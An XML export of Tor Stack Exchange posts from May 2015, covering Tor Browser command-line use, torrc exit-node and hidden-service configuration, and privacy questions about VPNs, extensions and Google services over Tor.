  <row Id="6798" PostTypeId="2" ParentId="6792" CreationDate="2015-05-09T15:00:40.533" Score="0" Body="&lt;p&gt;as I see, views on new question are rare, tor stackexchange is dead. here is my amateur answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think tor servers/nodes are recording logs, they just forward traffic (TCP packets), the same as Internet Exchange Nodes, NSA can catch traffic at IXP but no logs. therefore you use tor software and you don't log to any server and tor software care that server cannot log your IP address (tor software connect through some circuit, I don't know how it looks and how software choose circuit, entry node, etc). that's difference between tor network and let's say classic proxy network, classic proxy can record your IP while Tor server doesn't record your IP. although I think, admin of entry node/server MAYBE can snitch your traffic but not your IP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;exit nodes are public, they are not hidden, if police want, they can shut down all of them, if cops make international cooperation. anonymization of internet is privacy and privacy is guaranteed by the law although the law is worse than before, the law is changed in interest of government to spy mass of people under excuse of paranoia about terrorism. so, you didn't study law, therefore you ask yourself why cops simply don't shut down all tor servers, then you can ask why they allow vpn, proxy and similar? because if you want to spy somebody, you must ask judge for permission, they don't have any right to spy mass of people. they do it unofficially, although in America they made this famous NSA court that allowed them to destroy privacy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, if you work in post office and you cut my envelope and read my letter, under excuse of this or that, I can make court case against post office and get money for damaging my privacy. it is the same with internet, therefore they spy people secretly, unofficially, only NSA has their secret court/judge. many people make case against facebook for participation in PRISM spying program. Just justice is slow, maybe after 10 years they will win. &lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2015-05-09T15:00:40.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6799" PostTypeId="2" ParentId="6797" CreationDate="2015-05-09T15:06:27.723" Score="0" Body="&lt;p&gt;amateur answer: admin of website blocked or restricted tor. visit library without cameras and visit website normally. or maybe it is possible to use some solution with tor --&gt; vpn --&gt; website, but I never tried. maybe vpn will give the same result as tor. I think problem is administrator of website, he made some restrictions about proxies and tor belong to some kind of proxy. &lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2015-05-09T15:06:27.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6800" PostTypeId="1" CreationDate="2015-05-10T05:12:24.587" Score="3" ViewCount="1249" Body="&lt;p&gt;Tor browser is acting funny.  First, when I toggle tor browser on my lexar jump drive it goes to a shortcut stating &quot;Start TOR browser&quot;. then when I ask for a new identity  TOR crashes or gives me the message &quot;TOR browser will close all windows and tabs. All website sessions will be lost.  Restart now to reset your identity?&quot;&lt;br&gt;&#xA;TOR has NEVER asked me this before.  Plus TOR opened with Duck Duck Go as the search engine.  Am I compromised?  (Also ran EXTERMINATE IT, Malwarebytes, and Spybot to ensure I'm not infected.)&lt;/p&gt;&#xA;" OwnerUserId="7400" LastActivityDate="2015-11-18T20:26:48.743" Title="Is TOR Compromised on my computer?" Tags="|help|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6801" PostTypeId="1" CreationDate="2015-05-10T09:17:14.707" Score="2" ViewCount="4097" Body="&lt;p&gt;I can't find the way to launch new tab from &lt;code&gt;command line&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/src/tor-browser/tor-browser_en-US/Browser$ ./firefox  -new-tab&#xA;XPCOMGlueLoad error for file /usr/src/tor-browser/tor-browser_en-US/Browser/libxul.so:&#xA;/usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.20' not found (required by /usr/src/tor-browser/tor-browser_en-US/Browser/libxul.so)&#xA;Couldn't load XPCOM.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Finally, I'm trying to configure &lt;code&gt;Tor Browser Bundle&lt;/code&gt; as a default browser for RSSOwl. There is such place:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RSSOwl &lt;a href=&quot;http://www.rssowl.org&quot; rel=&quot;nofollow&quot;&gt;http://www.rssowl.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Version: 2.2.1&lt;/li&gt;&#xA;&lt;li&gt;Build Id: 2013-12-30&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit -&gt; Preferences -&gt; Browser:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use the following external browser&lt;/strong&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/usr/src/tor-browser/tor-browser_en-US/Browser/firefox --class &quot;Tor Browser&quot; -profile TorBrowser/Data/Browser/profile.default -new-tab&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd tried everything, -new-window, &lt;code&gt;empty&lt;/code&gt;, anyhow.&lt;/p&gt;&#xA;" OwnerUserId="7401" LastActivityDate="2022-02-13T00:46:23.497" Title="Tor Browser Bundle: How to launch new-tab from command-line?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6803" PostTypeId="1" CreationDate="2015-05-10T22:56:02.027" Score="2" ViewCount="367" Body="&lt;p&gt;How should one best access Google communications and social services, like Gmail, Talk/Hangouts, and maybe G+ over Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll propose the default threat model for interacting with Google as : We've only one non-temporary identity with Google.  Google should never connect web searches or maps queries with this identity.  Google should never learn our location either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We could access Gmail and Gtalk by asking the Tor browser bundle for a new identity, but that's error prone and prompts CAPTCHAs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, we could make our exit node constant for Google by running a second Tor on port 9050 with the config lines : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress *.google.com *.google.com.foo.exit&#xA;MapAddress *.gmail.com *.gmail.com.foo.exit &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And access Gmail via IMAP/SMTP and Gtalk via XMPP instead of the Tor browser bundle.  We cannot make our exit node constant for the Tor browser bundle in this way because we might wish to use Google search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this setup, there remains some risk of CAPTCHAs since foo.exit is a Tor exit node.  We must therefore point a browser at port 9050 at least occasionally.  And we might want G+, Google Groups, etc. too.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A priori, I'd do this by creating a second profile in the Tor browser bundle that uses 9050 instead of 9150 and disables Tor button?  What else should we do?  What else have I missed?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should one select foo.exit?  Just pick an exit with solid bandwidth and uptime from &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;the list of tor exit nodes&lt;/a&gt;?  Attempt to pick an exit with several alternative exits in the same city? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;MapAddress&lt;/code&gt; support &lt;a href=&quot;http://compnetworking.about.com/od/traceipaddresses/f/google-ip-address.htm&quot; rel=&quot;nofollow&quot;&gt;IP address ranges&lt;/a&gt;?  I could imagine it doing so with a syntax, like &lt;code&gt;MapAddress 64.233.160.0-64.233.191.255 *.foo.exit&lt;/code&gt;, but afaik nothing like that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I presume the same MapAddress trick cannot realistically be used for financial institutions, like PayPal, unless we've a private exit node that never appears in the consensus, right? &lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorUserId="3731" LastEditDate="2015-05-11T07:20:16.027" LastActivityDate="2015-05-11T07:20:16.027" Title="Gmail and Gtalk over Tor suggestions" Tags="|tor-browser-bundle|configuration|firefox|browsers|google|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6804" PostTypeId="1" AcceptedAnswerId="6811" CreationDate="2015-05-11T05:43:58.317" Score="1" ViewCount="213" Body="&lt;p&gt;A while ago my conky started to list several strange connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3C7Ox.jpg&quot; alt=&quot;Conky-Output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Linux so I tried something:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo lsof -i | egrep -i &quot;poneytelecom|dark&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And got an interesting output:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OLRoR.jpg&quot; alt=&quot;Processes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot remember putting tor into my autostart or something similar. In my task-list tor ran as root but cannot remember granting it root-rights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this behaviour normal?&lt;/p&gt;&#xA;" OwnerUserId="7404" LastEditorUserId="7404" LastEditDate="2015-05-11T06:21:07.720" LastActivityDate="2015-05-13T03:14:51.487" Title="Tor starting automatically as root and connecting to strange servers" Tags="|darknet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6805" PostTypeId="1" CreationDate="2015-05-11T08:01:57.160" Score="1" ViewCount="200" Body="&lt;p&gt;You risk making Tor browser signature unique anytime you add browser extensions. Are there any quantifiable differences between Tor browser with and without certain extensions?  How should one evaluate extensions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no differences displayed by &lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow&quot;&gt;panopticlick.eff.org&lt;/a&gt; if you have Privacy Badger and/or uBlock installed, or not installed, but that's only a coarse measure. Any thoughts on what else one should evaluate beyond what panopticlick.eff.org reports?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, I'd expect the Tor browser bundle does not benefit from Privacy Badger since the Tor browser blocks much cross-site scripting anyways.  Can anyone confirm that? &lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorUserId="3731" LastEditDate="2015-05-11T21:53:20.877" LastActivityDate="2015-07-10T22:59:59.560" Title="Actual impact of ad blockers on Tor Browser" Tags="|tor-browser-bundle|panopticlick|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6806" PostTypeId="1" AcceptedAnswerId="6808" CreationDate="2015-05-11T10:13:52.177" Score="2" ViewCount="3244" Body="&lt;p&gt;I want to start the Tor Browser to a specific url from command-line but I don't found any way to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux, i know the &quot;start-tor-browser&quot; script exist but I don't found it on Mac OS X (10.10) after install the Tor Browser Bundle (&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#downloads&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tor Browser.app I found a &quot;firefox&quot; command, but this start a regular firefox...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i look for something like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser https://www.example-url.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help&lt;/p&gt;&#xA;" OwnerUserId="7405" LastActivityDate="2015-05-11T11:41:19.377" Title="Start Tor Browser from CLI in Mac OSX" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6807" PostTypeId="1" AcceptedAnswerId="6827" CreationDate="2015-05-11T11:38:18.900" Score="0" ViewCount="593" Body="&lt;p&gt;I want to modify tor source code and test it. Hence I want to run it under GDB in Ubuntu 14.04. I am able to attach GDB to it but when I want to print some value of the variable, it says no debugging symbol found. How do I build TOR with debug flag?&lt;/p&gt;&#xA;" OwnerUserId="3772" LastEditorUserId="3772" LastEditDate="2015-05-11T20:16:18.177" LastActivityDate="2017-02-21T03:06:35.567" Title="Running tor in debugging mode using GDB" Tags="|configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6808" PostTypeId="2" ParentId="6806" CreationDate="2015-05-11T11:41:19.377" Score="2" Body="&lt;p&gt;Tor server you can start by simply typing: &lt;code&gt;tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web browser by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/TorBrowser.app/Contents/MacOS/firefox http://example.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using it quite often, you can make an alias, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alias tor-browser=&quot;/Applications/TorBrowser.app/Contents/MacOS/firefox&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add it into your &lt;code&gt;~/.bashrc&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2015-05-11T11:41:19.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6809" PostTypeId="2" ParentId="6797" CreationDate="2015-05-11T11:51:53.120" Score="0" Body="&lt;p&gt;Your problem seems to be localised to specific site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've to run Developer Tool Network console (e.g. right-click and Inspect Element, click on Network and refresh) and check the requests which pages are giving you &lt;em&gt;404&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then compare these requests with regular web browser (especially Request headers), so maybe a cookie thing, or something else.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2015-05-11T11:51:53.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6810" PostTypeId="2" ParentId="6805" CreationDate="2015-05-11T21:47:23.827" Score="1" Body="&lt;p&gt;Tor website clearly stated they have no responsibility about addons. Some addons make you more trackable while others may have no impact.&lt;br&gt;&#xA;The reason is that addons can call out of the browser commands and send information with direct connection which voids your anonymity.&lt;br&gt;&#xA;It is better to use tails with its browser + addons.&lt;br&gt;&#xA;It is more trustable.&lt;/p&gt;&#xA;" OwnerUserId="7406" LastActivityDate="2015-05-11T21:47:23.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6811" PostTypeId="2" ParentId="6804" CreationDate="2015-05-12T08:54:37.050" Score="1" Body="&lt;p&gt;For experimental purposes I have installed &lt;code&gt;torchat&lt;/code&gt; but wasn't satisfied, so I just ignored it, maybe I'll read something one day how to use it properly.&#xA;Apparently &lt;code&gt;torchat&lt;/code&gt; installs several other packages too. &#xA;One of them was &lt;code&gt;tor&lt;/code&gt; itself which launched at autostart and connected to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's still questionable why it connects to &quot;dark-it.net&quot; but after removing &lt;code&gt;torchat&lt;/code&gt; and a follow-up &lt;code&gt;apt-get autoremove&lt;/code&gt; all the packages were removed, since then no strange behaviour any more.&lt;/p&gt;&#xA;" OwnerUserId="7404" LastActivityDate="2015-05-12T08:54:37.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6812" PostTypeId="1" AcceptedAnswerId="6960" CreationDate="2015-05-12T15:39:37.430" Score="5" ViewCount="12654" Body="&lt;p&gt;I'm having some trouble in setting the country of the tor exit nodes. Following &lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node?newreg=b443bfb9dcb647c9863a7567bf7e03f0&quot;&gt;this&lt;/a&gt; link, by adding the bellow entries to the ./Data/torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {ru}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an exit node from the specified region should be used. However, geo locating the exit nodes shows that none are from Russia. Upon picking a new identity the exit node always remains in the EU or US. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="7410" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2022-11-08T22:59:31.360" Title="Setting the country of the tor ExitNodes" Tags="|tor-browser-bundle|configuration|exit-relays|geoip|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6814" PostTypeId="2" ParentId="6804" CreationDate="2015-05-13T03:14:51.487" Score="0" Body="&lt;p&gt;What happened was that you installed a Tor package (maybe/probably Debian/Ubuntu's) which is configured to start Tor at boot as a system service by design. It gets launched by root, but drops its permissions after it started so it doesn't really continue to run as root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connections to &quot;strange servers&quot; are just the domain names of servers that run Tor relays that your Tor client connected to, nothing to worry about as it is normal when operating an instance of Tor. By uninstalling the Tor package from your system you got rid of these connections because there's no longer a need to connect to Tor relays to keep your Tor client operational.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-05-13T03:14:51.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6815" PostTypeId="1" CreationDate="2015-05-13T11:48:30.830" Score="1" ViewCount="1321" Body="&lt;p&gt;I want to use OpenVPN through opfsproxy (any version of that). It works with the following instruction (server and client sides) but I can't relay on this file because it is not released by Tor Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestion for client side. I mean any suggestion to have a reliable opfsproxy.exe file to give it to my clients. Then they will be able to use obfsproxy as the tunnel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ivpn.net/knowledgebase/141/Windows---I-canandsharp039t-connect-from-China-or-Vietnam-or-Iran-etc.html&quot; rel=&quot;nofollow&quot;&gt;https://www.ivpn.net/knowledgebase/141/Windows---I-canandsharp039t-connect-from-China-or-Vietnam-or-Iran-etc.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7101" LastActivityDate="2015-05-13T11:48:30.830" Title="Using obfsproxy + OpenVPN on Windows (client)" Tags="|obfsproxy|openvpn|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6817" PostTypeId="2" ParentId="6792" CreationDate="2015-05-13T15:31:02.900" Score="0" Body="&lt;p&gt;I was going to just comment and add to another answer but I just joined and I don't have the rep points:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOR traffic is very difficult to track from point to point as you describe but a global passive analyzer such as the NSA can monitor traffic on entry and exit nodes and correlate it to suspicious activity in order profile those users for a targeted investigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/category/tags/traffic-correlation&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/category/tags/traffic-correlation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also from the TOR Website, How it works: &lt;a href=&quot;https://www.torproject.org/about/overview&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/overview&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a private network pathway with Tor, the user's software or client incrementally builds a circuit of encrypted connections through relays on the network. The circuit is extended one hop at a time, and each relay along the way knows only which relay gave it data and which relay it is giving data to. No individual relay ever knows the complete path that a data packet has taken. The client negotiates a separate set of encryption keys for each hop along the circuit to ensure that each hop can't trace these connections as they pass through.&lt;/p&gt;&#xA;" OwnerUserId="7420" LastEditorUserId="7420" LastEditDate="2015-05-13T15:40:38.807" LastActivityDate="2015-05-13T15:40:38.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6819" PostTypeId="1" AcceptedAnswerId="6825" CreationDate="2015-05-14T14:14:05.710" Score="1" ViewCount="356" Body="&lt;p&gt;I've been following &lt;a href=&quot;http://www.linuxx.eu/2014/05/how-to-host-your-own-tor-hidden-service.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; on how to setup Whonix with a &lt;code&gt;lighttp&lt;/code&gt; server so I can host my own tor website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did all the steps described in the tutorial, but when I try to visit my tor website (through another machine) then it (eventually) says &lt;strong&gt;&lt;em&gt;The connection has timed out&lt;/em&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm sure my &lt;code&gt;lighttpd&lt;/code&gt; webserver is running. Made sure by doing a &lt;code&gt;ps ax | grep ligh&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;torrc&lt;/code&gt; is exactly as it says in the tutorial:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/ &#xA;HiddenServicePort 80 192.168.0.11:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure about the IP address &lt;code&gt;192.168.0.11&lt;/code&gt; though. Should that be something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, anyone any idea why my tor website isn't showing? &lt;/p&gt;&#xA;" OwnerUserId="7425" LastEditorUserId="6597" LastEditDate="2015-05-15T18:11:00.443" LastActivityDate="2015-05-16T11:51:21.247" Title="Whonix with http server not reachable" Tags="|onion-services|configuration|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6821" PostTypeId="2" ParentId="6801" CreationDate="2015-05-14T22:00:58.503" Score="1" Body="&lt;p&gt;I'd wager you're running Linux, so you'll want &lt;a href=&quot;https://tor.stackexchange.com/a/1109/3731&quot;&gt;&lt;code&gt;start-tbb-with-args&lt;/code&gt;&lt;/a&gt; presumably.  I'm unsure if that'll work when TorBrowser is already running though.  Just fyi &lt;code&gt;open -a TorBrowser http://eff.org&lt;/code&gt; works in Mac OS X.  &lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-05-14T22:00:58.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6822" PostTypeId="1" CreationDate="2015-05-16T04:26:20.247" Score="1" ViewCount="9710" Body="&lt;p&gt;What I have on mind is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;home router --&gt; Raspberry Pi 01 VPN --&gt; Raspberry Pi 02 TOR --&gt; internet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raspberry Pi 01 would connect to router via wifi and the two Raspberry Pis would be connected via ethernet, and finally Raspberry Pi 02 would be set up to AP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point of this setup: hide TOR usage and broadcast a tor wifi network.&lt;/p&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2015-05-16T08:45:41.573" Title="Home router - VPN - TOR setup. Is it possible?" Tags="|configuration|raspberry-pi|" AnswerCount="2" CommentCount="0" ClosedDate="2015-05-18T08:46:47.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="6823" PostTypeId="2" ParentId="6822" CreationDate="2015-05-16T04:52:41.960" Score="1" Body="&lt;p&gt;Is it possible to route traffic between a few computers? Of course. But if you're looking to hide Tor usage, you're betting off using a pluggable transport. As for broadcasting a &quot;Tor wifi network&quot;, that's quite a bad idea, since many programs on connected computers may deanonymize the user to the Tor exit node.&lt;/p&gt;&#xA;" OwnerDisplayName="user3249" LastActivityDate="2015-05-16T04:52:41.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6824" PostTypeId="2" ParentId="6822" CreationDate="2015-05-16T08:45:41.573" Score="1" Body="&lt;p&gt;You can start by looking at OnionPI, that is a way to set up such a access point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow&quot;&gt;https://learn.adafruit.com/onion-pi/overview&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you do have routers with built in tor capabilities for wifi.&#xA;I have one of these, and that's the 'Netgear WNR3500L v2' which I flashed with Tomato USB - &lt;a href=&quot;http://tomatousb.org/&quot; rel=&quot;nofollow&quot;&gt;http://tomatousb.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That let's me set up a wifi which is automatically routed through tor.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-05-16T08:45:41.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6825" PostTypeId="2" ParentId="6819" CreationDate="2015-05-16T11:51:21.247" Score="1" Body="&lt;p&gt;Whonix has it's own documentation for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Hidden_Services#Hidden_Webserver&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Hidden_Services#Hidden_Webserver&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend that instead, because that is up to date information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ip they say that you should point to there is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HiddenServicePort 80 10.152.152.11:80&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also double check the ip inside the whonix workstation with the command 'ifconfig'.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-05-16T11:51:21.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6827" PostTypeId="2" ParentId="6807" CreationDate="2015-05-17T15:50:54.177" Score="1" Body="&lt;p&gt;You need to compile tor with debug info, usually -d to be added in the Makefile in the CFLAGS=&#xA;The gcc compiler will add in this case, part of the source code in the compiled program that are needed by gdb to display debug information.&lt;/p&gt;&#xA;" OwnerUserId="7270" LastActivityDate="2015-05-17T15:50:54.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6828" PostTypeId="2" ParentId="6015" CreationDate="2015-05-17T16:02:41.507" Score="1" Body="&lt;p&gt;Tor already provide multiple hop capability, so you don't really need to add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set a vpn (with multiple hop) on your machine for internet connection, tor browser will use it to connect to the tor network.&lt;/p&gt;&#xA;" OwnerUserId="7270" LastActivityDate="2015-05-17T16:02:41.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6829" PostTypeId="1" CreationDate="2015-05-17T17:40:34.227" Score="2" ViewCount="298" Body="&lt;p&gt;I am trying to set up my own hidden service following this tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.makeuseof.com/tag/create-hidden-service-tor-site-set-anonymous-website-server/&quot; rel=&quot;nofollow&quot;&gt;http://www.makeuseof.com/tag/create-hidden-service-tor-site-set-anonymous-website-server/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have, however, recognized a problem when I got to the point where I have to edit torrc file, which in my case is blank. I thought it's a tor system file, so it ought to be somewhere else, I searched for it using windows search, came back with only one result, the blank one. Can anyone tell me how to work around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7442" LastActivityDate="2021-12-02T19:51:23.210" Title="Setting up a hidden service" Tags="|onion-services|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6830" PostTypeId="2" ParentId="6829" CreationDate="2015-05-18T05:40:29.013" Score="1" Body="&lt;p&gt;It does not matter. The old &lt;code&gt;torrc&lt;/code&gt; file contents were moved to &lt;code&gt;torrc-defaults&lt;/code&gt; file (in the same folder), but you should be able to write your hidden service configuration in the blank &lt;code&gt;torrc&lt;/code&gt; file without a problem nevertheless.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-05-18T05:40:29.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6831" PostTypeId="1" AcceptedAnswerId="6836" CreationDate="2015-05-18T09:17:15.133" Score="2" ViewCount="664" Body="&lt;p&gt;Sometimes my downloads in Tor interrupt, due to bad and unreliable internet-connections, and I start thinking if it's intelligent to use a download manager like &quot;DownThemAll!&quot; so I am able to resume and don't have to start the whole download anew. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But will the plugin connect via the Tor-Browser/Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And: Is it anonymous? (Inside and outside the Network)&lt;/p&gt;&#xA;" OwnerUserId="7404" LastEditorUserId="5445" LastEditDate="2015-05-27T19:50:27.523" LastActivityDate="2015-05-27T19:50:27.523" Title="Is the usage of download managers a security risk?" Tags="|anonymity|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6832" PostTypeId="1" CreationDate="2015-05-17T19:53:59.770" Score="1" ViewCount="361" Body="&lt;p&gt;I know it's possible, but how exactly I can do that? I am not able to find any specific tutorial. And will this protect me even if the website is not using HTTPS?&#xA;Thanks regards!&lt;/p&gt;&#xA;" OwnerDisplayName="user69939" LastActivityDate="2015-05-18T18:52:00.003" Title="How to connect to a VPN, then to Tor?" Tags="|vpn|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
